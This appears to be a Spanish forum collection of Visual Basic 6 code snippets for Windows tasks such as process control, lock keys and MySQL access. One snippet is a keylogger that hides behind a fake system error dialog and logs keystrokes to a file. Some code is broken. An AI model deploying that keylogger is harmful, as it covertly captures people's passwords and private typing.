Ejecutar un programa y esperar que finalice
'en un from
Option Explicit

Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const STILL_ACTIVE = &H103
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess&, ByVal bInheritHandle&, ByVal dwProcessId&) _
As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) _
As Long

Sub EsperarShell(sCmd As String)

Dim hShell As Long
Dim hProc As Long
Dim codExit As Long

' ejecutar comando
hShell = Shell(Environ$("Comspec") & " /c " & sCmd, 2)

' esperar a que se complete el proceso
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, False, hShell)

Do
GetExitCodeProcess hProc, codExit
DoEvents
Loop While codExit = STILL_ACTIVE

End Sub
'Ejemplo
Private Sub Command1_Click()
EsperarShell ("calc.exe")
msgbox "termino"
End Sub

 Leer un Tag de un código HTML
Código:
Option Explicit
Option Compare Text

Function GetHTMLTag(ByVal Code As String, ByVal TagName As String) As String
Dim Inst1 As Long, Inst2 As Long
Dim opTagLen As Byte, clTagLen As Byte
Dim opTag As String, clTag As String

opTag = "<" & TagName & ">"
clTag = "</" & TagName & ">"
opTagLen = Len(opTag)
clTagLen = Len(clTag)

Inst1 = InStr(1, Code, opTag)
If Inst1 = 0 Then Exit Function          'Si no hay el Tag especificado se termina
Inst2 = InStr(Inst1 + opTagLen, Code, clTag)
If Mid(Code, Inst1 + opTagLen, _
        clTagLen) = clTag Then Exit Function  'Si hay etiqueta pero no hay
                                              'contenido [ej. <title></title>]
GetHTMLTag = Mid(Code, Inst1 + opTagLen, Inst2 - (Inst1 + opTagLen))
clTag = "": Code = ""
End Function


Esta función devuelve lo que esté escrito dentro del Tag que se especifique. NO hay que poner los símbolos de apertura y cierre del Tag (<> y </>).

NOTA: Es impresindible poner Option Compare Text para tratar mayusculas y minusculas igualmente

Encender y Apagar Num, Caps y Scroll Lock
Código:
Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function SetKeyboardState Lib "user32" (lppbKeyState As Byte) As Long
Const VK_NUMLOCK = &H90
Const VK_SCROLL = &H91
Const VK_CAPITAL = &H14
Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2
Const VER_PLATFORM_WIN32_NT = 2
Const VER_PLATFORM_WIN32_WINDOWS = 1
Dim o As OSVERSIONINFO
Dim NumLockState As Boolean
Dim ScrollLockState As Boolean
Dim CapsLockState As Boolean


Aca podemos modificar el estado

Código:
Private Sub Num_Lock_Click()
o.dwOSVersionInfoSize = Len(o)
GetVersionEx o
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
NumLockState = keys(VK_NUMLOCK)
If NumLockState <> True Then
    'Poner numlock a on
    If o.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
        'Si es Win95
        keys(VK_NUMLOCK) = 1
        SetKeyboardState keys(0)
    ElseIf o.dwPlatformId = VER_PLATFORM_WIN32_NT Then
        'Si es WinNT
        keybd_event VK_NUMLOCK, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
        keybd_event VK_NUMLOCK, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
    End If
Else
'Poner Num_Lock a Off
If o.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
        keys(VK_NUMLOCK) = 0
        SetKeyboardState keys(0)
        ElseIf o.dwPlatformId = VER_PLATFORM_WIN32_NT Then
        keybd_event VK_NUMLOCK, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
         keybd_event VK_NUMLOCK, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
    End If
End If
End Sub


Lo demas es casi igual

Código:
Private Sub Caps_Lock_Click()
o.dwOSVersionInfoSize = Len(o)
GetVersionEx o
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
CapsLockState = keys(VK_CAPITAL)
If CapsLockState <> True Then
    If o.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
        keys(VK_CAPITAL) = 1
        SetKeyboardState keys(0)
    ElseIf o.dwPlatformId = VER_PLATFORM_WIN32_NT Then
        keybd_event VK_CAPITAL, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
        keybd_event VK_CAPITAL, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
    End If
Else
If o.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
        keys(VK_CAPITAL) = 0
        SetKeyboardState keys(0)
    ElseIf o.dwPlatformId = VER_PLATFORM_WIN32_NT Then
        keybd_event VK_CAPITAL, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
        keybd_event VK_CAPITAL, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
    End If
End If
End Sub


Código:
Private Sub Scroll_Lock_Click()
o.dwOSVersionInfoSize = Len(o)
GetVersionEx o
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
ScrollLockState = keys(VK_SCROLL)
If ScrollLockState <> True Then
    If o.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
        keys(VK_SCROLL) = 1
        SetKeyboardState keys(0)
    ElseIf o.dwPlatformId = VER_PLATFORM_WIN32_NT Then
        keybd_event VK_SCROLL, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
        keybd_event VK_SCROLL, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
    End If
Else
If o.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
        keys(VK_SCROLL) = 0
        SetKeyboardState keys(0)
    ElseIf o.dwPlatformId = VER_PLATFORM_WIN32_NT Then
        keybd_event VK_SCROLL, &H45, KEYEVENTF_EXTENDEDKEY Or 0, 0
        keybd_event VK_SCROLL, &H45, KEYEVENTF_EXTENDEDKEY Or KEYEVENTF_KEYUP, 0
    End If
End If
End Sub

_________________

Como quitar los botones de un MDIForm (Parent)
Código:
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Const WS_MINIMIZEBOX = &H20000
Private Const WS_MAXIMIZEBOX = &H10000
Private Const GWL_STYLE = (-16)
Private Const MF_BYPOSITION = &H400
Private Const MF_REMOVE = &H1000
Private Declare Function DrawMenuBar Lib "user32" _
       (ByVal hwnd As Long) As Long
Private Declare Function GetMenuItemCount Lib "user32" _
       (ByVal hMenu As Long) As Long
Private Declare Function GetSystemMenu Lib "user32" _
         (ByVal hwnd As Long, _
         ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "user32" _
         (ByVal hMenu As Long, _
         ByVal nPosition As Long, _
         ByVal wFlags As Long) As Long
Private Const SC_MINIMIZE As Long = &HF020&
Private Const SC_MAXIMIZE As Long = &HF030&
Private Const MF_BYCOMMAND = &H0&
Private Const SC_CLOSE = &HF060&

Private Sub MDIForm_Load()
Dim L As Long
Dim hMenu As Long
Dim menuItemCount As Long
L = GetWindowLong(Me.hwnd, GWL_STYLE)
L = L And Not (WS_MINIMIZEBOX)
L = L And Not (WS_MAXIMIZEBOX)
L = SetWindowLong(Me.hwnd, GWL_STYLE, L)
hMenu = GetSystemMenu(Me.hwnd, 0)
If hMenu Then
      Call RemoveMenu(hMenu, SC_MAXIMIZE, MF_BYCOMMAND)
      Call RemoveMenu(hMenu, SC_MINIMIZE, MF_BYCOMMAND)
     menuItemCount = GetMenuItemCount(hMenu)
      Call RemoveMenu(hMenu, menuItemCount - 1, _
                       MF_REMOVE Or MF_BYPOSITION)
     Call RemoveMenu(hMenu, menuItemCount - 2, _
                       MF_REMOVE Or MF_BYPOSITION)
     Call DrawMenuBar(Me.hwnd)
End If
End Sub

Proceso repetido, finalizar hasta dejar uno solo
Modulo de Clase:
---------------------------------------------------------
Código:
Option Explicit
Private Const MAX_PATH& = 260
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetWindowThreadProcessId& Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long

Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Public Sub KillProcess(ByVal ProcessID As Long)
Dim hp&
hp& = OpenProcess(1&, -1&, ProcessID)
TerminateProcess hp&, 0&
DoEvents
End Sub

Public Function FindWindowByClass(ByVal WindowClassName As String) As Long
FindWindowByClass = FindWindow(WindowClassName, vbNullString)
End Function

Public Function FindProcessByWindowClass(ByVal WindowClassName As String) As Long
Dim pid&
GetWindowThreadProcessId FindWindowByClass(WindowClassName), pid&
FindProcessByWindowClass = pid&
End Function

Public Function FindProcessByName(ByVal AppPath As String) As Long
Dim AppPaths, ProcessIds, ParentProcessIds, i As Integer
ListRunningApps AppPaths, ProcessIds, ParentProcessIds
i = FindInArray(AppPaths, AppPath)
If i = -1 Then
FindProcessByName = 0
Else
FindProcessByName = ProcessIds(i)
End If
End Function

Public Sub ListRunningApps(ByRef AppPaths, ByRef ProcessIds, ByRef ParentProcessIds)
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim i As Integer
Const TH32CS_SNAPPROCESS As Long = 2&

AppPaths = Array()
ProcessIds = Array()
ParentProcessIds = Array()

uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)

Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
AppendToArray AppPaths, szExename
AppendToArray ProcessIds, uProcess.th32ProcessID
AppendToArray ParentProcessIds, uProcess.th32ParentProcessID
rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
End Sub
Public Function FindInArray(List As Variant, Item As Variant) As Integer
Dim i As Integer
For i = 0 To UBound(List)
If UCase("" & List(i)) = UCase("" & Item) Then
FindInArray = i
Exit Function
End If
Next
FindInArray = -1
End Function
Private Sub AppendToArray(List As Variant, Item As Variant)
ReDim Preserve List(UBound(List) + 1)
List(UBound(List)) = Item
End Sub

----------------------------
este codigo en un formulario.
--------------------------------
Código:
Option Explicit
Private NombreProceso, IdentificacionProceso, ParentIdentificacionProceso
Private PM As Class1, i As Integer

Function Ejecutandoce(name As String)
Dim Veces As Integer
Veces = 0
Set PM = New Class1
PM.ListRunningApps NombreProceso, IdentificacionProceso, ParentIdentificacionProceso
For i = 0 To UBound(NombreProceso)
If NombreProceso(i) = name Then
Veces = Veces + 1
End If
Next

If Veces = 1 Then Exit Function

For i = 0 To UBound(NombreProceso)
If NombreProceso(i) = name Then
PM.KillProcess IdentificacionProceso(i)
Veces = Veces - 1
If Veces = 1 Then Exit Function
DoEvents
End If
Next

End Function

'Ejemplo para dejar la calculadora una sola vez en proceso en caso de que se 'este ejecutando mas de una vez
Private Sub Command1_Click()
Ejecutandoce ("calc.exe")
End Sub

Api net send
Código:
Option Explicit

Private Declare Function NetMessageBufferSend Lib "netapi32.dll" _
(ByVal servername As String, _
ByVal msgname As String, _
ByVal fromname As String, _
ByVal Buffer As String, _
ByVal BufSize As Long) As Long

Private Const NERR_SUCCESS As Long = 0
Private Const NERR_BASE As Long = 2100
Private Const NERR_NetworkError As Long = (NERR_BASE + 36)
Private Const NERR_NameNotFound As Long = (NERR_BASE + 173)
Private Const NERR_UseNotFound As Long = (NERR_BASE + 150)
Private Const ERROR_ACCESS_DENIED As Long = 5
Private Const ERROR_BAD_NETPATH As Long = 53
Private Const ERROR_NOT_SUPPORTED As Long = 50
Private Const ERROR_INVALID_PARAMETER As Long = 87
Private Const ERROR_INVALID_NAME As Long = 123


Public Function NetSendMessage(ByVal sSendTo As String, ByVal sMessage As String) As Long
Dim ret As Long

'convert ANSI strings to UNICODE
sSendTo = StrConv(sSendTo, vbUnicode)
sMessage = StrConv(sMessage, vbUnicode)
'Send a network message to a remote computer
NetSendMessage = NetMessageBufferSend(vbNullString, sSendTo, vbNullString, _
sMessage, Len(sMessage))
End Function

'returns the description of the Netapi Error Code
Public Function NetSendErrorMessage(ErrNum As Long) As String
Select Case ErrNum
Case NERR_SUCCESS
NetSendErrorMessage = "The message was successfully sent"
Case NERR_NameNotFound
NetSendErrorMessage = "Send To not found"
Case NERR_NetworkError
NetSendErrorMessage = "General network error occurred"
Case NERR_UseNotFound
NetSendErrorMessage = "Network connection not found"
Case ERROR_ACCESS_DENIED
NetSendErrorMessage = "Access to computer denied"
Case ERROR_BAD_NETPATH
NetSendErrorMessage = "Sent From server name not found."
Case ERROR_INVALID_PARAMETER
NetSendErrorMessage = "Invalid parameter(s) specified."
Case ERROR_NOT_SUPPORTED
NetSendErrorMessage = "Network request not supported."
Case ERROR_INVALID_NAME
NetSendErrorMessage = "Illegal character or malformed name."
Case Else
NetSendErrorMessage = "Unknown error executing command."
End Select
End Function


Private Sub Command2_Click()
Dim ret As Long

'send a message to "andrea" user in your network, replace "andrea" with the name
'of the user or the computer you want to send the message to

'in order to receive and send messages in both computers (sender and receiver) you
'must start the messenger service
ret = NetSendMessage("ycc", "this is a message from a VB application")
If ret <> 0 Then
MsgBox NetSendErrorMessage(ret), vbCritical, "Error"
Else
MsgBox NetSendErrorMessage(ret), vbInformation, "NetSend"
End If
End Sub

Finalizar un programa en ejecución
Modulo de Clase:
---------------------------------------------------------
Código:
Option Explicit
Private Const MAX_PATH& = 260
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetWindowThreadProcessId& Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long

Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Public Sub KillProcess(ByVal ProcessID As Long)
Dim hp&
hp& = OpenProcess(1&, -1&, ProcessID)
TerminateProcess hp&, 0&
DoEvents
End Sub

Public Function FindWindowByClass(ByVal WindowClassName As String) As Long
FindWindowByClass = FindWindow(WindowClassName, vbNullString)
End Function

Public Function FindProcessByWindowClass(ByVal WindowClassName As String) As Long
Dim pid&
GetWindowThreadProcessId FindWindowByClass(WindowClassName), pid&
FindProcessByWindowClass = pid&
End Function

Public Function FindProcessByName(ByVal AppPath As String) As Long
Dim AppPaths, ProcessIds, ParentProcessIds, i As Integer
ListRunningApps AppPaths, ProcessIds, ParentProcessIds
i = FindInArray(AppPaths, AppPath)
If i = -1 Then
FindProcessByName = 0
Else
FindProcessByName = ProcessIds(i)
End If
End Function

Public Sub ListRunningApps(ByRef AppPaths, ByRef ProcessIds, ByRef ParentProcessIds)
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim i As Integer
Const TH32CS_SNAPPROCESS As Long = 2&

AppPaths = Array()
ProcessIds = Array()
ParentProcessIds = Array()

uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)

Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
AppendToArray AppPaths, szExename
AppendToArray ProcessIds, uProcess.th32ProcessID
AppendToArray ParentProcessIds, uProcess.th32ParentProcessID
rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
End Sub
Public Function FindInArray(List As Variant, Item As Variant) As Integer
Dim i As Integer
For i = 0 To UBound(List)
If UCase("" & List(i)) = UCase("" & Item) Then
FindInArray = i
Exit Function
End If
Next
FindInArray = -1
End Function
Private Sub AppendToArray(List As Variant, Item As Variant)
ReDim Preserve List(UBound(List) + 1)
List(UBound(List)) = Item
End Sub


-------------------
y el formulario :
-----------------------
Option Explicit
Código:
Private NombreProceso, IdentificacionProceso, ParentIdentificacionProceso
Private PM As Class1, i As Integer

Private Sub Command1_Click()
Set PM = New Class1
PM.ListRunningApps NombreProceso, IdentificacionProceso, ParentIdentificacionProceso
For i = 0 To UBound(NombreProceso)
If NombreProceso(i) = "winamp.exe" Then
PM.KillProcess IdentificacionProceso(i)
DoEvents
End If
Next
End Sub



*El nombre del proceso es el que muestra el programa en lo sprocesos de Windows.

Como cargar un archivo en memoria
Código:
Funtion LoadFile (ByVal FileName As String, Optional IsText As Boolean) As String
Dim tmpF() As Byte, FLen As Long
Dim Num As Integer, tmpStr As String
On Error Goto ErrLog
FLen=FileLen(FileName)
Num=FreeFile()

Open FileName For Binary Access Read As #Num
If IsText = False Then
     'Para cargar la matriz de bytes
     ReDim tmpF(0 To (FLen-1)) As Byte
     Get #1, ,tmpF
     LoadFile=tmpF
Else
     'Para cargar como cadena de texto
     '(ideal para archivos de texto)
     tmpStr=String(FLen, 0)
     Get #1, ,tmpStr
     LoadFile=tmpStr
End If
Close #Num
'Se libera memoria
Erase tmpF: tmpStr=""

Exit Function
ErrLog:
       Erase tmpF: tmpStr=""
       Error Err.Number
End Function

Cambiar Fecha u Hora del Sistema
Código:

Private Declare Function SetSystemTime Lib "kernel32.dll" (lpSystemTime As SYSTEMTIME) As Long
Public Type SYSTEMTIME
wYear As Integer
       wMonth As Integer
       wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Public Function CambiarHora(ByVal Hora As Integer, ByVal Minutos As Integer, Byval Segundos As Integer)
Dim Ahora As SYSTEMTIME
Ahora.wYear = Year(Date)
Ahora.wMonth = Month(Date)
Ahora.wDay = Day(Date)
Ahora.wHour = Hora
Ahora.wMinute = Minutos
Ahora.wSecond = Segundos
CambiarHora = SetSystemTime(Ahora)
End Function
Public Function CambiarFecha(Byval Año As Integer, Byval Mes As Integer, Byval Dia As Integer)
Dim Hoy As SYSTEMTIME
Hoy.wYear = Año
Hoy.wMonth = Mes
Hoy.wDay = Dia
Hoy.wHour = Hour(Time)
Hoy.wMinute = Minute(Time)
Hoy.wSecond = Second(Time)
CambiarFecha = SetSystemTime(Hoy)
End Function

ProgressBar al estilo Windows 95
Este código sirve para simular una ProgressBar al estilo Windows 95 en un control PictureBox. Espero les guste, ya que sólo con cambiar el ForeColor del PicBox cambian el color de la barra y su texto, también si ponen el Pic en Flat y a Fixed Single toma una apariencia bastante atractiva, cosa que el ProgressBar de los Common Controls no trae:

Código:
Sub SimPGB(pctBox As PictureBox, PercentValue As Single, Optional Caption, Optional Horizontal As Boolean = True)
    Dim strPercent As String
    Dim intX As Integer
    Dim intY As Integer
    Dim intWidth As Integer
    Dim intHeight As Integer
    Dim intPercent As Single
    On Error GoTo ErLg

    If pctBox Is Nothing Then Error 5

    pctBox.AutoRedraw = True
    pctBox.BackColor = vbWhite

    intPercent = Int(100 * PercentValue + 0.5)

    If PercentValue < 0 Or PercentValue > 1# Then Error 5

    If IsMissing(Caption) = True Then
        strPercent = Format$(intPercent) & "%"
        intWidth = pctBox.TextWidth(strPercent)
        intHeight = pctBox.TextHeight(strPercent)
    Else
        intWidth = pctBox.TextWidth(Caption)
        intHeight = pctBox.TextHeight(Caption)
    End If

    intX = pctBox.Width / 2 - intWidth / 2
    intY = pctBox.Height / 2 - intHeight / 2

    pctBox.DrawMode = 13
    pctBox.Line (intX, intY)-(intWidth, intHeight), pctBox.BackColor, BF

    pctBox.CurrentX = intX
    pctBox.CurrentY = intY

    If IsMissing(Caption) = True Then
        pctBox.Print strPercent
    Else
        pctBox.Print Caption
    End If

    pctBox.DrawMode = 10

    If Horizontal = True Then
        If PercentValue > 0 Then
            pctBox.Line (0, 0)-(pctBox.Width * PercentValue, pctBox.Height), pctBox.ForeColor, BF
        Else
            pctBox.Line (0, 0)-(pctBox.Width, pctBox.Height), pctBox.BackColor, BF
        End If
    Else
        If PercentValue > 0 Then
            pctBox.Line (0, pctBox.Height)-(pctBox.Width, pctBox.Height - (pctBox.Height * PercentValue)), pctBox.ForeColor, BF
        Else
            pctBox.Line (0, pctBox.Height)-(pctBox.Width, pctBox.Height), pctBox.BackColor, BF
        End If
    End If
   
Exit Sub
ErLg: Error Err.Number
End Sub

Como crear controles en tiempo de ejecuacion
'Ejemplo de creación de controles en tiempo de ejecución

'Llevará la cuenta de los controles creados

Código:
Option Explicit
Private numControles As Long
Private Sub cmdCrear_Click()
    'Crear un nuevo control de cada tipo'numControles está declarada a nivel de módulo
    numControles = numControles + 1
    'Crear los controles
    Load Label1(numControles)
    Load Text1(numControles)

    'Posicionarlos y hacerlos visibles
    With Label1(numControles)
        .Visible = True
        .Top = Label1(numControles - 1).Top + .Height + 120
        .Caption = "Label1(" & numControles & ")"
    End With
    With Text1(numControles)
        .Visible = True
        .Top = Text1(numControles - 1).Top + .Height + 60
        .Text = "Text1(" & numControles & ")"
    End With
End Sub


'Eliminar un elemento de cada control anteriormente creado'El control

Código:
Private Sub cmdEliminar_Click()
    CERO no se puede eliminar
    If numControles > 0 Then
        'Descargarlos de la memoria
        Unload Label1(numControles)
        Unload Text1(numControles)
        numControles = numControles - 1
    End If
End Sub

 Como conectarme a MySQL desde VB6
1ro. Tener instalado un servidor Mysql con el puerto 3306 abierto y tener configurado el usuario correctamente para poder acceder remotamente o bien sea via localhost.

2do. Tener instalado en la computadora Cliente el Mysql ODBC Driver 3.51, que lo pueden descargar de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


3ro. bueno.. el codigo..

Código:
        Dim Cxn As ADODB.Connection
        Dim AdoS As ADODB.Recordset
   Dim CxnFac As String
   Set Cxn = New Connection
   Cxn.CursorLocation = adUseClient
   CxnFac = "Driver={MySQL ODBC 3.51 Driver};Server=IpServer;Port=3306;Option=131072;Stmt=;Database=recepfac;Uid=root;Pwd=TuContrasena;"
   You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login CxnFac ' Abrimos la conexion
   Set AdoS = New Recordset
   You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login "Select * From clientes", Cxn, adOpenStatic, adLockOptimistic ' Abrimos el REcordset y esta listo para usar
   MsgBox AdoS!nombre


Bueno basta decir que este caso tenemos una tabla llamada clientes que posee un campo llamado nombre..

Capturador De Teclas
Código:
'CREAN UN MODULO CON EL SIGUIENTE CODIGO:
Global w As Integer
Global bb As Boolean

'LUEGO CREAN UN PROYECTO CON EL SIGUIENTE CODIGO
Dim m As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
Loop
Timer1.Interval = 1
Timer2.Interval = 10000
m = Minute(Time) + 5
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

x = GetAsyncKeyState(
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(27)
If x = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

x = GetAsyncKeyState(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If

End Sub

Como Bloquear el Boton Cerrar del Formulario
Primero debemos de Crear un módulo para nuestras declaraciónes.

y le colocamos este codigo

Código:
Public Declare Function GetSystemMenu Lib "user32" _
   (ByVal hWnd As Long, ByVal bRevert As Long) As Long
Public Declare Function ModifyMenu Lib "user32" Alias "ModifyMenuA" _
   (ByVal hMenu As Long, ByVal nPosition As Long, _
   ByVal wFlags As Long, ByVal wIDNewItem As Long, _
   ByVal lpString As Any) As Long
Public Declare Function DrawMenuBar Lib "user32" _
   (ByVal hWnd As Long) As Long
'
Global Const MF_BYCOMMAND = &H0&
Global Const MF_ENABLED = &H0&
Global Const MF_GRAYED = &H1&
'
Public Const SC_CLOSE = &HF060&
' Básicamente lo que se hace es dibujar una caba sobre el botón actual
'la cual lo bloquea


En el formulario principal colcamos el siguiente codigo el cual hace la llamda para bloquear la X.

Código:
Private Sub Bloquear_Cerrar()
Dim hMenu As Long
   '
hMenu = GetSystemMenu(hWnd, 0)
   ' Deshabilitar el menú cerrar del formulario
